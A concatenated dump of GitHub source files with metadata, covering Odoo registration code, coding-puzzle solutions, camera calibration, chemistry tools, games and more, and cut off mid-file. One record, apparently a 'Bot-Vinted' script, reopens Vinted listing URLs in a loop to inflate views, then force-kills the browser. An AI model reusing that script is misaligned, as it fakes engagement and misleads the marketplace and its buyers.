SESSION_STATES[3][0],\n\t\t#'angkatan': lambda*a : time.strftime('%Y'),\n\t\t'tgl_daftar' : fields.date.context_today,\n\t\t#'npm':lambda obj, cr, uid, context: obj.pool.get('ir.sequence').get(cr, uid, 'res.partner'), \n\t\t'npm' : '/', \n\t\t'reg': '/',\n\t\t'no_ijazah_sma':'/',\n\t\t'is_mahasiswa': False,\n\t\t'split_invoice': 1,\n\t\t'is_import' : False,\n\t}\n\n\n\n\tdef action_konversi(self,cr,uid,ids,context=None):\n\t\tkonv_obj = self.pool.get('akademik.konversi')\n\n\t\tfor mhs in self.browse(cr, uid, ids, context=context):\n\t\t\texist = konv_obj.search(cr,uid,[('partner_id','=',mhs.id)],context=context)\n\t\t\t# if exist:\n\t\t\t# \traise osv.except_osv(_('Error!'), _('Data konversi sudah pernah dibuat!'))\n\t\t\tif not exist :\n\t\t\t\tdata = {\n\t\t\t\t\t'partner_id' \t\t: mhs.id,\n\t\t\t\t\t'semester_id'\t\t: mhs.semester_id.id,\n\t\t\t\t\t'asal_prodi_id'\t\t: mhs.asal_prodi_id.id,\n\t\t\t\t\t'asal_fakultas_id'\t: mhs.asal_fakultas_id.id,\n\t\t\t\t\t'asal_univ_id'\t\t: mhs.asal_univ_id.id,\n\t\t\t\t\t'prodi_id'\t\t\t: mhs.prodi_id.id,\n\t\t\t\t\t'fakultas_id'\t\t: mhs.fakultas_id.id,\n\t\t\t\t\t'tahun_ajaran_id'\t: mhs.tahun_ajaran_id.id,\n\t\t\t\t\t'konsentrasi_id'\t: mhs.konsentrasi_id.id,\n\t\t\t\t\t'status'\t\t\t: 'draft',\n\t\t\t\t\t'state'\t\t\t\t: 'draft',\n\t\t\t\t\t'notes' \t\t\t: mhs.jenis_pendaftaran_id.name,\n\t\t\t\t\t'user_id'\t\t\t: uid,\n\t\t\t\t\t'date'\t\t\t\t: mhs.tgl_daftar,\n\t\t\t\t\t'create_date'\t\t: time.strftime(DEFAULT_SERVER_DATETIME_FORMAT),\n\t\t\t\t\t'krs_done'\t\t\t: False,\n\t\t\t\t}\n\t\t\t\tkonv_id = konv_obj.create(cr, uid, data, context=context)\n\n\t\t\t\t# create email notif ke user prodi (doc. konversi)\n\t\t\t\tgroups_obj = self.pool.get('res.groups')\n\t\t\t\tusers = groups_obj.search(cr,uid,[('name','ilike','Staff Prodi')], context=context)\n\t\t\t\tif users :\n\t\t\t\t\tusers_ids = groups_obj.browse(cr,uid,users[0])\n\t\t\t\t\tif users_ids.users :\n\t\t\t\t\t\tfor usr in users_ids.users :\t\t\t\t\t\n\t\t\t\t\t\t\tkonv_obj.convertion_notification(cr, uid, [konv_id], usr)\n\t\treturn True\n\n\n\t####################################################################################################\n\t# Cron Job untuk reminder tagihan pendaftaran\n\t####################################################################################################\n\tdef cron_reminder_tagihan_pendaftaran(self, cr, uid, ids=None,context=None):\n\t\tpartner_obj \t= self.pool.get('res.partner')\n\t\taccount_obj \t= self.pool.get('account.invoice')\n\t\t#import pdb;pdb.set_trace()\n\t\ttagihan_pendaftaran = account_obj.search(cr,uid,[('state','=','open'),('origin','ilike','pendaftaran')])\n\t\tif tagihan_pendaftaran :\n\t\t\t# create notifikasi ke email\n\t\t\ttemplate_pool = self.pool.get('email.template')\n\t\t\ttemplate_id = template_pool.search(cr,uid,[('name','=ilike','[REMINDER] Pendaftaran Mahasiswa Baru ISTN')])\n\t\t\tif template_id :\n\t\t\t\tfor tag in account_obj.browse(cr,uid,tagihan_pendaftaran):\n\t\t\t\t\ttemplate_pool.send_mail(cr, uid, template_id[0], tag.id)\n\t\treturn True\n\nres_partner()\t\t\t\t","repo_name":"akhdaniel/addons","sub_path":"vit_universities_v8/partner.py","file_name":"partner.py","file_ext":"py","file_size_in_byte":47872,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"44117010565","text":"import webbrowser # Importation de la bibliothèque pour contrôler le navigateur Web\nimport time # Importation de la bibliothèque pour mesurer le temps et mettre en pause le programme\nimport os # Importation de la bibliothèque pour exécuter des commandes système\nimport json # Importation de la bibliothèque pour travailler avec des fichiers JSON\n\nwith open('urls.json', 'r') as f: # Ouvre le fichier 'urls.json' en mode lecture\n # Charge le contenu du fichier dans la variable \"urls\" sous forme de liste\n data = json.load(f)\n\nurls = data['urls']\nfor i in range(30):\n for url in urls: # Parcourt chaque URL dans la liste \"urls\"\n try:\n webbrowser.open_new(url) # Ouvre un nouvel onglet dans le navigateur par défaut et affiche l'URL correspondante\n except:\n print(f\"Erreur : impossible d'ouvrir l'URL {url}\")\n time.sleep(5) # Met en pause le programme pendant le temps calculé précédemment\n\n# Tue le processus du navigateur en cours d'utilisation\nos.system(\"taskkill /im brave.exe /f\")\n","repo_name":"ClementG91/Bot-Vinted","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"507163748","text":"import tools.readfile as readfile\n\ndef find_routes(caves_map, position, path, routes, small_cave):\n for destination in caves_map[position]:\n if (path.count(small_cave) < 2):\n small_cave = ''\n # print(\"{} -> ({}) <= {}\".format(path, caves_map[position], destination))\n if destination == 'end':\n path.append(destination)\n routes.append(path.copy())\n # print(\"\\tNew route found {}\".format(path))\n continue\n elif (destination.upper() == destination or destination not in path or not small_cave):\n if (destination in path and destination.lower() == destination):\n small_cave = destination\n current_path = '-'.join(path)\n path.append(destination)\n find_routes(caves_map, destination, path, routes, small_cave)\n # print(\"Resuming from {} (small_cave: {})\".format(current_path, small_cave))\n path = current_path.split('-')\n continue\n # print(\"{} -> {} (small_cave: {}): invalid path\".format(path, destination, small_cave))\n\ndef parse_map(input):\n caves_map = {}\n for line in input:\n cave_1 = line.split('-')[0]\n cave_2 = line.split('-')[1]\n if (cave_1 in caves_map and cave_2 != 'start' and cave_1 != 'end'):\n caves_map[cave_1].append(cave_2)\n elif (cave_2 != 'start' and cave_1 != 'end'):\n caves_map[cave_1] = [cave_2]\n if (cave_2 in caves_map and cave_1 != 'start' and cave_2 != 'end'):\n caves_map[cave_2].append(cave_1)\n elif (cave_1 != 'start' and cave_2 != 'end'):\n caves_map[cave_2] = [cave_1]\n return caves_map\n\ndef main():\n lines = readfile.read_lines(\"input.txt\")\n caves_map = parse_map(lines)\n\n routes = []\n find_routes(caves_map, 'start', ['start'], routes, '')\n print(len(routes))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dlabouesse/advent-of-code","sub_path":"day_12/part_2.py","file_name":"part_2.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"50364175","text":"import openpyxl\nfrom openpyxl.utils import get_column_letter, column_index_from_string\nwb = openpyxl.load_workbook('example.xlsx') # wookbook型オブジェクト\nprint(type(wb))\n\nsheets = wb.get_sheet_names()\n# print(sheets)\n\ns1 = wb.get_sheet_by_name('Sheet1')\n# for i in range(1, 8,1):\n# print(str(i) + ' ' + s1.cell(row=i, column=2).value)\n\n# print(get_column_letter(s1.max_column))\n# print(column_index_from_string('C'))\n\n# タプルの各要素:rowがまとまってる ※数字の方\ncells = tuple(s1['A1':'C3'])\nprint(cells)\n\n# A1 ~ C3 までの各セルの値を表示します。\nfor cells_obj in s1['A1':'C3']: # tupleで中身確認してね\n for cell in cells_obj:\n print(cell.coordinate, cell.value)\n print(\"----END OF RUN----\")","repo_name":"Shinpei2/python_source","sub_path":"automation/chapter12/ex.py","file_name":"ex.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29015474487","text":"# we use UNDISTORTION\nimport pickle\nimport cv2\nimport numpy as np\nimport itertools\n\n# Define the calibration settings\ncol = 11\nrow = 8\nsquare_size = 59\ncriteria = (cv2.TERM_CRITERIA_MAX_ITER | cv2.TERM_CRITERIA_EPS, 30, 0.001)\n\nroot_dir = \"./AzureKinectRecord\"\n# Load camera intrinsic parameters\nintr_param = pickle.load(open('%s/new_intrinsic_param.pkl' % root_dir, 'rb'))\ncam_list = ['azure_kinect1_2','azure_kinect1_3','azure_kinect1_4']\n\ndepth_dirs = []\nrgb_dirs = []\n\nfor cam in cam_list:\n depth_dirs.append(root_dir + \"/\" + cam + \"_calib_snap/\")\n rgb_dirs.append(root_dir + \"/\" + cam + \"_calib_snap/\")\n\nprint(depth_dirs)\nprint(rgb_dirs)\n\n# Get all combinations of Kinect pairs\nkinect_pairs = list(itertools.combinations(range(len(depth_dirs)), 2))\nprint(kinect_pairs)\n\nextr_param = {}\nnew_extr_pickle_file = root_dir + \"/pairwise_color_extrinsic.pkl\"\n\n# Iterate over each Kinect pair\nfor kinect_pair in kinect_pairs:\n # Initialize variables\n objp = np.zeros((col*row, 3), np.float32)\n objp[:, :2] = np.mgrid[0:col, 0:row].T.reshape(-1, 2) * square_size\n obj_points = []\n img_points_rgb1 = []\n img_points_rgb2 = []\n \n print(f\"kinect pair is {kinect_pair}\")\n kinect1_index, kinect2_index = kinect_pair\n \n depth_dir_kinect1 = depth_dirs[kinect1_index]\n depth_dir_kinect2 = depth_dirs[kinect2_index]\n rgb_dir_kinect1 = rgb_dirs[kinect1_index]\n rgb_dir_kinect2 = rgb_dirs[kinect2_index]\n cam1 = cam_list[kinect1_index]\n cam2 = cam_list[kinect2_index]\n\n mtx_d = np.array([[intr_param['%s_calib_snap_color' % cam1][0], 0, intr_param['%s_calib_snap_color' % cam1][2]],\n [0, intr_param['%s_calib_snap_color' % cam1][1], intr_param['%s_calib_snap_color' % cam1][3]],\n [0, 0, 1]])\n dist_d = intr_param['%s_calib_snap_color' % cam1][6:14]\n print(mtx_d, '\\n', dist_d)\n mtx_c = np.array([[intr_param['%s_calib_snap_color' % cam2][0], 0, intr_param['%s_calib_snap_color' % cam2][2]],\n [0, intr_param['%s_calib_snap_color' % cam2][1], intr_param['%s_calib_snap_color' % cam2][3]],\n [0, 0, 1]])\n dist_c = intr_param['%s_calib_snap_color' % cam2][6:14]\n print(mtx_c, '\\n', dist_c)\n \n n_images = 25\n start_index = 0\n\n for i in range(n_images):\n flip=False\n \n # Read the RGB image from Kinect 1\n rgb_filename_kinect1 = rgb_dir_kinect1 + \"/color%04i.jpg\" % (i + start_index)\n rgb_img_kinect1 = cv2.imread(rgb_filename_kinect1)\n gray_rgb_kinect1 = cv2.cvtColor(rgb_img_kinect1, cv2.COLOR_BGR2GRAY)\n \n global gray_rgb_shape\n\n # Read the RGB image from Kinect 2\n rgb_filename_kinect2 = rgb_dir_kinect2 + \"/color%04i.jpg\" % (i + start_index)\n rgb_img_kinect2 = cv2.imread(rgb_filename_kinect2)\n gray_rgb_kinect2 = cv2.cvtColor(rgb_img_kinect2, cv2.COLOR_BGR2GRAY)\n gray_rgb_shape = gray_rgb_kinect2.shape\n \n # Find chessboard corners in depth and RGB images\n ret_rgb_kinect1, corners_rgb_kinect1 = cv2.findChessboardCorners(gray_rgb_kinect1, (col, row), None)\n ret_rgb_kinect2, corners_rgb_kinect2 = cv2.findChessboardCorners(gray_rgb_kinect2, (col, row), None)\n print(f\"ret values are {ret_rgb_kinect1, ret_rgb_kinect2}\")\n\n if ret_rgb_kinect1 and ret_rgb_kinect2:\n obj_points.append(objp)\n \n # Refine corner coordinates for color image\n corners2_cam1 = cv2.cornerSubPix(gray_rgb_kinect1, corners_rgb_kinect1, (5, 5), (-1, -1), criteria)\n corners2_cam2 = cv2.cornerSubPix(gray_rgb_kinect2, corners_rgb_kinect2, (5, 5), (-1, -1), criteria)\n\n cv2.drawChessboardCorners(rgb_img_kinect1, (col, row), corners2_cam1, ret_rgb_kinect1)\n cv2.imshow('rgb_img_kinect1', cv2.resize(rgb_img_kinect1, (int(gray_rgb_shape[1]/2), int(gray_rgb_shape[0]/2))))\n cv2.waitKey(50)\n \n cv2.drawChessboardCorners(rgb_img_kinect2, (col, row), corners2_cam2, ret_rgb_kinect2)\n cv2.imshow('rgb_img_kinect2', cv2.resize(rgb_img_kinect2, (int(gray_rgb_shape[1]/2), int(gray_rgb_shape[0]/2))))\n cv2.waitKey(50)\n\n # flip\n vec_cam1 = (corners2_cam1[0, 0, :] - corners2_cam1[-1, 0, :]) / np.linalg.norm(corners2_cam1[0, 0, :] - corners2_cam1[-1, 0, :])\n vec_cam2 = (corners2_cam2[0, 0, :] - corners2_cam2[-1, 0, :]) / np.linalg.norm(corners2_cam2[0, 0, :] - corners2_cam2[-1, 0, :])\n \n if np.dot(vec_cam1, vec_cam2) < 0:\n # flip cn_c\n corners2_cam1 = corners2_cam1[::-1, :]\n flip = True\n\n img_points_rgb1.append(corners2_cam1)\n img_points_rgb2.append(corners2_cam2)\n\n print(flip, ret_rgb_kinect1, ret_rgb_kinect2, rgb_filename_kinect1, rgb_filename_kinect2)\n \n print(len(obj_points), len(img_points_rgb1), len(img_points_rgb2))\n\n # Perform stereo calibration to obtain the extrinsic parameters\n retval, _, _, _, _, R, T, _, _ = \\\n cv2.stereoCalibrate(objectPoints=obj_points,\n imagePoints1=img_points_rgb1,\n imagePoints2=img_points_rgb2,\n imageSize=gray_rgb_shape,\n cameraMatrix1=mtx_d,\n distCoeffs1=dist_d,\n cameraMatrix2=mtx_c,\n distCoeffs2=dist_c,\n criteria=(cv2.TERM_CRITERIA_MAX_ITER | cv2.TERM_CRITERIA_EPS, 200, 1e-6),\n flags=cv2.CALIB_FIX_INTRINSIC | cv2.CALIB_RATIONAL_MODEL)\n\n # Print the extrinsic parameters\n print(\"Extrinsic parameters for Kinect pair:\", kinect_pair)\n print(\"Rotation matrix (R):\\n\", R)\n print(\"Translation vector (T):\\n\", T)\n print(\"-------------------------------------------\")\n\n extr_param['%s_color2_%s_color' % (cam1, cam2)] = (R, T)\n\nprint(extr_param)\n# Store the intrinsic parameters in a pickle file\nwith open(new_extr_pickle_file, 'wb') as f:\n pickle.dump(extr_param, f)","repo_name":"architmang/CFI-Project-Updates","sub_path":"pairwise_calibration.py","file_name":"pairwise_calibration.py","file_ext":"py","file_size_in_byte":6099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2750421910","text":"from carro import Car,Motorcycle\nvehiculos = [ \n { \"tipo\": \"AUTOMOVIL\", \"placa\": \"ABC12D\", \"marca\": \"Chevrolet\", \"puesto\": \"A12\", \"entrada\": \"10:00:36\", \"minusvalido\": False},\n { \"tipo\": \"AUTOMOVIL\", \"placa\": \"IJK56M\", \"marca\": \"Mazda\", \"puesto\": \"A33\", \"entrada\": \"11:48:22\", \"minusvalido\": False},\n { \"tipo\": \"MOTOCICLETA\", \"placa\": \"EFG34H\", \"marca\": \"Suzuki\", \"puesto\": \"B10\", \"entrada\": \"10:20:15\"},\n]\nvehicle_obj =[]\ndef register_vehicles(vehiculos_list, vehicle_obj):\n for diccionaries in vehiculos_list:\n if diccionaries[\"tipo\"] == \"AUTOMOVIL\":\n vehicle_obj.append(Car(diccionaries[\"placa\"],diccionaries[\"marca\"],diccionaries[\"puesto\"], diccionaries[\"entrada\"], diccionaries[\"minusvalido\"]))\n elif diccionaries[\"tipo\"] == \"MOTOCICLETA\":\n vehicle_obj.append(Motorcycle(diccionaries[\"placa\"],diccionaries[\"marca\"],diccionaries[\"puesto\"], diccionaries[\"entrada\"]))\ndef vehicle_list_show(vehicle_obj):\n print(\"---CARS IN THE PARKING LOT---\")\n for vehicles in vehicle_obj:\n vehicles.show()\ndef check_out_parking(vehicle_obj):\n salida = input(\"Enter the plate of the car you're going to check out: \")\n hora_salida = input(\"Enter the departure time: \")\n for vehicles in vehicle_obj:\n if salida==vehicles.placa:\n vehicles.hora_salida = hora_salida\n vehicles.puesto = None\n else:\n print(\"VEHICLE NOT FOUN IN THE PARKINGLOT\")\ndef main():\n print(\"---WELCOME---\")\n register_vehicles(vehiculos, vehicle_obj)\n while True: \n \n menu=input(\"\\n1.See all the parked cars\\n2.Check out\\n3.Exit\\n-> \")\n while menu.isalpha(): input(\"ENTER A VALID OPTION\\n1.See all the parked cars\\n2.Check out\\n3.Exit\\n-> \")\n if int(menu)==1:\n vehicle_list_show(vehicle_obj)\n elif int(menu)==2:\n check_out_parking(vehicle_obj)\n elif int(menu)==3: break\nmain()","repo_name":"michellevillegasv/Michelle-Algoritmos","sub_path":"Ejercicios/clases/carros/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71201621674","text":"'''\nGiven the root of a binary tree, return all root-to-leaf paths in any order.\nA leaf is a node with no children.\n\n\nExample 1:\nInput: root = [1,2,3,null,5]\nOutput: [\"1->2->5\",\"1->3\"]\n\nExample 2:\nInput: root = [1]\nOutput: [\"1\"]\n'''\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def binaryTreePaths(self, root: Optional[TreeNode]) -> List[str]:\n if not root: return []\n res=[]\n\n def helper(node, curr):\n if not node: return\n if not node.left and not node.right: # 代表到leaf node了\n res.append(curr+str(node.val))\n return\n \n helper(node.left, curr+str(node.val)+\"->\")\n helper(node.right, curr+str(node.val)+\"->\")\n \n helper(root, \"\")\n return res","repo_name":"LeamonLee/leetcode_practice","sub_path":"Algorithm/257. Binary Tree Paths.py","file_name":"257. Binary Tree Paths.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10091162908","text":"from langchain.tools import BaseTool\nfrom rdkit import Chem, DataStructs\nfrom rdkit.Chem import AllChem, rdMolDescriptors\n\n\nclass MolSimilarity(BaseTool):\n name = \"MolSimilarity\"\n description = (\n \"Input two molecule SMILES (separated by '.'), returns Tanimoto similarity.\"\n )\n\n def __init__(self):\n super(MolSimilarity, self).__init__()\n\n def _run(self, smiles_pair: str) -> str:\n smi_list = smiles_pair.split(\".\")\n if len(smi_list) != 2:\n return \"Input error, please input two smiles strings separated by '.'\"\n else:\n smiles1, smiles2 = smi_list\n\n try:\n mol1 = Chem.MolFromSmiles(smiles1)\n mol2 = Chem.MolFromSmiles(smiles2)\n fp1 = AllChem.GetMorganFingerprintAsBitVect(mol1, 2, nBits=2048)\n fp2 = AllChem.GetMorganFingerprintAsBitVect(mol2, 2, nBits=2048)\n similarity = DataStructs.TanimotoSimilarity(fp1, fp2)\n\n sim_score = {\n 0.9: \"very similar\",\n 0.8: \"similar\",\n 0.7: \"somewhat similar\",\n 0.6: \"not very similar\",\n 0: \"not similar\",\n }\n if similarity == 1:\n return \"Error: Input Molecules Are Identical\"\n else:\n val = sim_score[\n max(key for key in sim_score.keys() if key <= round(similarity, 1))\n ]\n message = f\"The Tanimoto similarity between {smiles1} and {smiles2} is {round(similarity, 4)},\\\n indicating that the two molecules are {val}.\"\n return message\n except (TypeError, ValueError, AttributeError):\n return \"Error: Not a valid SMILES string\"\n\n async def _arun(self, smiles_pair: str) -> str:\n \"\"\"Use the tool asynchronously.\"\"\"\n raise NotImplementedError()\n\n\nclass SMILES2Weight(BaseTool):\n name = \"SMILES2Weight\"\n description = \"Input SMILES, returns molecular weight.\"\n\n def __init__(\n self,\n ):\n super(SMILES2Weight, self).__init__()\n\n def _run(self, smiles: str) -> str:\n mol = Chem.MolFromSmiles(smiles)\n if mol is None:\n return \"Invalid SMILES string\"\n mol_weight = rdMolDescriptors.CalcExactMolWt(mol)\n return mol_weight\n\n async def _arun(self, smiles: str) -> str:\n \"\"\"Use the tool asynchronously.\"\"\"\n raise NotImplementedError()\n\n\nclass FuncGroups(BaseTool):\n name = \"FunctionalGroups\"\n description = \"Input SMILES, return list of functional groups in the molecule.\"\n dict_fgs: dict = None\n\n def __init__(\n self,\n ):\n super(FuncGroups, self).__init__()\n\n # List obtained from https://github.com/rdkit/rdkit/blob/master/Data/FunctionalGroups.txt\n self.dict_fgs = {\n \"furan\": \"o1cccc1\",\n \"aldehydes\": \" [CX3H1](=O)[#6]\",\n \"esters\": \" [#6][CX3](=O)[OX2H0][#6]\",\n \"ketones\": \" [#6][CX3](=O)[#6]\",\n \"amides\": \" C(=O)-N\",\n \"thiol groups\": \" [SH]\",\n \"alcohol groups\": \" [OH]\",\n \"methylamide\": \"*-[N;D2]-[C;D3](=O)-[C;D1;H3]\",\n \"carboxylic acids\": \"*-C(=O)[O;D1]\",\n \"carbonyl methylester\": \"*-C(=O)[O;D2]-[C;D1;H3]\",\n \"terminal aldehyde\": \"*-C(=O)-[C;D1]\",\n \"amide\": \"*-C(=O)-[N;D1]\",\n \"carbonyl methyl\": \"*-C(=O)-[C;D1;H3]\",\n \"isocyanate\": \"*-[N;D2]=[C;D2]=[O;D1]\",\n \"isothiocyanate\": \"*-[N;D2]=[C;D2]=[S;D1]\",\n \"nitro\": \"*-[N;D3](=[O;D1])[O;D1]\",\n \"nitroso\": \"*-[N;R0]=[O;D1]\",\n \"oximes\": \"*=[N;R0]-[O;D1]\",\n \"Imines\": \"*-[N;R0]=[C;D1;H2]\",\n \"terminal azo\": \"*-[N;D2]=[N;D2]-[C;D1;H3]\",\n \"hydrazines\": \"*-[N;D2]=[N;D1]\",\n \"diazo\": \"*-[N;D2]#[N;D1]\",\n \"cyano\": \"*-[C;D2]#[N;D1]\",\n \"primary sulfonamide\": \"*-[S;D4](=[O;D1])(=[O;D1])-[N;D1]\",\n \"methyl sulfonamide\": \"*-[N;D2]-[S;D4](=[O;D1])(=[O;D1])-[C;D1;H3]\",\n \"sulfonic acid\": \"*-[S;D4](=O)(=O)-[O;D1]\",\n \"methyl ester sulfonyl\": \"*-[S;D4](=O)(=O)-[O;D2]-[C;D1;H3]\",\n \"methyl sulfonyl\": \"*-[S;D4](=O)(=O)-[C;D1;H3]\",\n \"sulfonyl chloride\": \"*-[S;D4](=O)(=O)-[Cl]\",\n \"methyl sulfinyl\": \"*-[S;D3](=O)-[C;D1]\",\n \"methyl thio\": \"*-[S;D2]-[C;D1;H3]\",\n \"thiols\": \"*-[S;D1]\",\n \"thio carbonyls\": \"*=[S;D1]\",\n \"halogens\": \"*-[#9,#17,#35,#53]\",\n \"t-butyl\": \"*-[C;D4]([C;D1])([C;D1])-[C;D1]\",\n \"tri fluoromethyl\": \"*-[C;D4](F)(F)F\",\n \"acetylenes\": \"*-[C;D2]#[C;D1;H]\",\n \"cyclopropyl\": \"*-[C;D3]1-[C;D2]-[C;D2]1\",\n \"ethoxy\": \"*-[O;D2]-[C;D2]-[C;D1;H3]\",\n \"methoxy\": \"*-[O;D2]-[C;D1;H3]\",\n \"side-chain hydroxyls\": \"*-[O;D1]\",\n \"ketones\": \"*=[O;D1]\",\n \"primary amines\": \"*-[N;D1]\",\n \"nitriles\": \"*#[N;D1]\",\n }\n\n def _is_fg_in_mol(self, mol, fg):\n fgmol = Chem.MolFromSmarts(fg)\n mol = Chem.MolFromSmiles(mol.strip())\n return len(Chem.Mol.GetSubstructMatches(mol, fgmol, uniquify=True)) > 0\n\n def _run(self, smiles: str) -> str:\n \"\"\"\n Input a molecule SMILES or name.\n Returns a list of functional groups identified by their common name (in natural language).\n \"\"\"\n try:\n fgs_in_molec = [\n name\n for name, fg in self.dict_fgs.items()\n if self._is_fg_in_mol(smiles, fg)\n ]\n if len(fgs_in_molec) > 1:\n return f\"This molecule contains {', '.join(fgs_in_molec[:-1])}, and {fgs_in_molec[-1]}.\"\n else:\n return f\"This molecule contains {fgs_in_molec[0]}.\"\n except:\n return \"Wrong argument. Please input a valid molecular SMILES.\"\n\n async def _arun(self, smiles: str) -> str:\n \"\"\"Use the tool asynchronously.\"\"\"\n raise NotImplementedError()\n","repo_name":"ur-whitelab/chemcrow-public","sub_path":"chemcrow/tools/rdkit.py","file_name":"rdkit.py","file_ext":"py","file_size_in_byte":6017,"program_lang":"python","lang":"en","doc_type":"code","stars":305,"dataset":"github-code","pt":"72"} +{"seq_id":"28801420245","text":"import bd\nimport random\nimport menu\nimport player\n\ndef pegar_pedra(jogador, nivel):\n posicao = bd.get_posicao_jogador(jogador)\n sorte = random.uniform(.5, 1.5)\n\n quant_pedras_pegas = round(sorte * nivel * 10)\n quant_pedras_pegas = min(quant_pedras_pegas, posicao.pedras)\n\n menu.clear()\n\n if quant_pedras_pegas > 0:\n bd.set_pedras(posicao.id, posicao.pedras - quant_pedras_pegas)\n print(f'[i] {jogador} pegou {quant_pedras_pegas} pedras')\n else:\n print(f'[i] Nao ha pedras por aqui')\n\n input(\"\\n[i] precione enter para continuar\")\n return \n\ndef colocar_na_pos(jogador, id_item):\n instancia_item = bd.verificar_inventario(jogador.id, id_item)\n bd.add_instancia_item_possicao(jogador.pos, instancia_item)\n bd.remover_item_iventario(jogador.id, instancia_item.id_item)\n\n\ndef verificar_luta(jogador, id_pos):\n pos = bd.get_posicao(id_pos)\n bioma = bd.get_bioma(pos.bioma)\n\n sorte = random.uniform(0, 1)\n if sorte <= bioma.chance_batalha:\n monstros = bd.get_monstros_by_pos(id_pos)\n\n if len(monstros) == 0:\n return\n\n foo = random.randint(0,len(monstros)-1)\n monstro = monstros[foo]\n luta(jogador, monstro)\n\n\n\ndef luta(jogador, monstro):\n menu.clear()\n print(f'[i] um {monstro.nome} selvagem apareceu!')\n print(f'[i] {monstro.descricao}')\n input(\"[i] precione ENTER para continuar\")\n\n vida_jogador = jogador.vida - (monstro.dano*2)\n\n if(vida_jogador <= 0):\n player.morte(jogador.id)\n\n menu.clear()\n print(f'[i] voce levou {monstro.dano*2} de dano, mas matou o monstro')\n input(\"[i] precione ENTER para continuar\")\n bd.set_vida_jogador(jogador.id, vida_jogador)\n bd.del_monstro(monstro.id)\n\n\n\n\n","repo_name":"SBD1/grupo8-DontStarve","sub_path":"src/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"69911475114","text":"import sys\r\n\r\ninput = lambda: sys.stdin.readline().strip()\r\n\r\nN = int(input())\r\nA = list(map(int, input().split()))\r\n\r\nsA = sorted(A)\r\n\r\nP = []\r\nfor i in A:\r\n idx = sA.index(i)\r\n P.append(idx)\r\n sA[idx] = -1\r\n\r\nprint(*P)","repo_name":"ImTotem/BOJ","sub_path":"백준/Silver/1015. 수열 정렬/수열 정렬.py","file_name":"수열 정렬.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13284063967","text":"\"\"\"\nGiven the array houses where houses[i] is the location of the ith house along a street and an integer k, allocate k mailboxes in the street.\nReturn the minimum total distance between each house and its nearest mailbox.\nThe test cases are generated so that the answer fits in a 32-bit integer.\n\nExample 1:\nInput: houses = [1,4,8,10,20], k = 3\nOutput: 5\nExplanation: Allocate mailboxes in position 3, 9 and 20.\nMinimum total distance from each houses to nearest mailboxes is |3-1| + |4-3| + |9-8| + |10-9| + |20-20| = 5\n\nExample 2:\nInput: houses = [2,3,5,12,18], k = 2\nOutput: 9\nExplanation: Allocate mailboxes in position 3 and 14.\nMinimum total distance from each houses to nearest mailboxes is |2-3| + |3-3| + |5-3| + |12-14| + |18-14| = 9.\n\nConstraints:\n1 <= k <= houses.length <= 100\n1 <= houses[i] <= 104\nAll the integers of houses are unique.\n\nhint:\n1 If k =1, the minimum distance is obtained allocating the mailbox in the median of the array houses.\n2 Generalize this idea, using dynamic programming allocating k mailboxes.\n\"\"\"\nfrom functools import lru_cache\nfrom typing import List\n\n\nclass Solution:\n def minDistance(self, houses: List[int], k: int) -> int:\n n, UPPER_BOUND = len(houses), 10 ** 7\n houses.sort()\n cost = [[0] * n for _ in range(n)]\n for s in range(n):\n for e in range(s, n):\n median = houses[(s + e) // 2]\n for i in range(s, e + 1):\n cost[s][e] += abs(houses[i] - median)\n\n @lru_cache(None)\n def dfs(cur, group):\n if cur == n and group == k:\n return 0\n if cur == n or group == k:\n return UPPER_BOUND\n res = UPPER_BOUND\n for i in range(cur, n):\n res = min(res, cost[cur][i] + dfs(i + 1, group + 1))\n return res\n\n return dfs(0, 0)","repo_name":"DeanHe/Practice","sub_path":"LeetCodePython/AllocateMailboxes.py","file_name":"AllocateMailboxes.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"724053155","text":"from scipy.fftpack import fft\nfrom scipy.io import wavfile\nimport numpy as np\nfrom colorsys import hsv_to_rgb\nfrom warnings import warn\nimport time\n\nclass AudioFFT:\n\tdef __init__(self, audio_chunk = None, sample_rate = 44100, division = 7, frequency_range = np.full([8,1],None)):\n\t\tif frequency_range.all() != None:\n\t\t\tc = fft(audio_chunk)\n\t\t\td = int(len(c)/2) # you only need half of the fft list (real signal symmetry)\n\t\t\tself.fft = abs(c[:(d-1)])\n\t\t\tself.frequency_range =frequency_range\n\t\t\tself.sample_rate = sample_rate\n\t\t\tself.division = division\n\t\telif audio_chunk.all() != None:\n\t\t\tc = fft(audio_chunk)\n\t\t\td = int(len(c)/2) # you only need half of the fft list (real signal symmetry)\n\t\t\tself.fft = abs(c[:(d-1)])\n\t\t\tself.frequency_range = division*np.arange(int(sample_rate/division))\n\t\t\tself.division = division\n\t\t\tself.sample_rate = sample_rate\n\t\telse:\n\t\t\tself.fft = []\n\t\t\tself.frequency_range = frequency_range\n\t\t\tself.division = division\n\t\t\tself.sample_rate = sample_rate\n\n#this takes an input of class AudioFFT\ndef audio_fft_to_color( audio_fft ):\n\tmax_ind = 